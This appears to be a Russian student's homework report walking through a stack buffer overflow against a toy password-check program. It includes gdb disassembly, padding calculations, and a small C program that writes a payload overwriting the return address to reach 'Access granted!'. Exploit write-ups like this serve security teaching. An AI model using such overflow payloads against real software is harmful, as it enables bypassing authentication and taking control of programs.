Отчет:
1)С помощью флагов -fno-stack-protector -no-pie -g компилируем программу, они нужны чтобы отключить канарейку, ASLR и включить откладку

```
● pavel@PC-ubuntu:~/Good/HW5$ gcc 5ex2.c -o 5ex2 -fno-stack-protector -no-pie -g
```

2) Запускаем отладчик скомпириуемого файла и дизассеблируем функцию main, далее находим нам нужную функцию IsPassOk

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   %rbp
   0x000000000040119b <+5>:     mov    %rsp,%rbp
   0x000000000040119e <+8>:     sub    $0x10,%rsp
   0x00000000004011a2 <+12>:    lea    0xe5b(%rip),%rax        # 0x402004
   0x00000000004011a9 <+19>:    mov    %rax,%rdi
   0x00000000004011ac <+22>:    call   0x401070 <puts@plt>
   0x00000000004011b1 <+27>:    call   0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:    mov    %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:    cmpl   $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:    jne    0x4011d8 <main+66>
```

3) Далее найденную функцию также дизассеблируем и находим размер массива для ввода пароля. Переведя из 16-ой системы в 10-ю получаем 12.

Это означает, что нужно будет занять 12 сиволов мусора и 8 символов мусора для rbp. В конце же будет нужный адрес.

```
(gdb) disassemble IsPassOk
Dump of assembler code for function IsPassOk:
   0x00000000004011ee <+0>:     endbr64
   0x00000000004011f2 <+4>:     push   %rbp
   0x00000000004011f3 <+5>:     mov    %rsp,%rbp
   0x00000000004011f6 <+8>:     sub    $0x10,%rsp
   0x00000000004011fa <+12>:    lea    -0xc(%rbp),%rax
   0x00000000004011fe <+16>:    mov    %rax,%rdi
   0x0000000000401201 <+19>:    mov    $0x0,%eax
   0x0000000000401206 <+24>:    call   0x401090 <gets@plt>
   0x000000000040120b <+29>:    lea    -0xc(%rbp),%rax
   0x000000000040120f <+33>:    lea    0xe1c(%rip),%rdx        # 0
   0x0000000000401216 <+40>:    mov    %rdx,%rsi
--Type <RET> for more, q to quit, c to continue without paging--
   0x0000000000401219 <+43>:    mov    %rax,%rdi
   0x000000000040121c <+46>:    call   0x401080 <strcmp@plt>
   0x0000000000401221 <+51>:    test   %eax,%eax
   0x0000000000401223 <+53>:    sete   %al
   0x0000000000401226 <+56>:    movzbl %al,%eax
   0x0000000000401229 <+59>:    leave
   0x000000000040122a <+60>:    ret
End of assembler dump.
```

4) В дизассеблируемой функции main находим адрес нужной строки

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000401196 <+0>:     endbr64
   0x000000000040119a <+4>:     push   %rbp
   0x000000000040119b <+5>:     mov    %rsp,%rbp
   0x000000000040119e <+8>:     sub    $0x10,%rsp
   0x00000000004011a2 <+12>:    lea    0xe5b(%rip),%rax        # 0x402004
   0x00000000004011a9 <+19>:    mov    %rax,%rdi
   0x00000000004011ac <+22>:    call   0x401070 <puts@plt>
   0x00000000004011b1 <+27>:    call   0x4011ee <IsPassOk>
   0x00000000004011b6 <+32>:    mov    %eax,-0x4(%rbp)
   0x00000000004011b9 <+35>:    cmpl   $0x0,-0x4(%rbp)
   0x00000000004011bd <+39>:    jne    0x4011d8 <main+66>
   0x00000000004011bf <+41>:    lea    0xe4e(%rip),%rax        # 0x402014
   0x00000000004011c6 <+48>:    mov    %rax,%rdi
   0x00000000004011c9 <+51>:    call   0x401070 <puts@plt>
   0x00000000004011ce <+56>:    mov    $0x1,%edi
   0x00000000004011d3 <+61>:    call   0x4010a0 <exit@plt>
   0x00000000004011d8 <+66>:    lea    0xe43(%rip),%rax        # 0x402022
   0x00000000004011df <+73>:    mov    %rax,%rdi
   0x00000000004011e2 <+76>:    call   0x401070 <puts@plt>
   0x00000000004011e7 <+81>:    mov    $0x0,%eax
   0x00000000004011ec <+86>:    leave
   0x00000000004011ed <+87>:    ret
End of assembler dump.
(gdb) x/s 0x402022
0x402022:       "Access granted!"
```

5)Теперь, когда есть нужный адрес, по условию задачи напишем программу, с помощью которой мы перенаправим на ввод в программу.

Программа

```c
#include <stdio.h>
int main()
{
    FILE *file = fopen("password.txt", "wb");
    char twen[] = "ZZZZZZZZZZZZ";
    char eight[] = "ZZZZZZZZ";
    char addres[] = "\xd8\x11\x40\x00\x00\x00\x00\x00";

    fprintf(file, "%s%s%s", twen,eight,addres);
    fclose(file);
    return 0;
}
```

Результат

```
pavel@PC-ubuntu:~/Good/HW5$ ./5ex2 < ./password.txt
Enter password:
Access granted!
Ошибка шины (образ памяти сброшен на диск)
```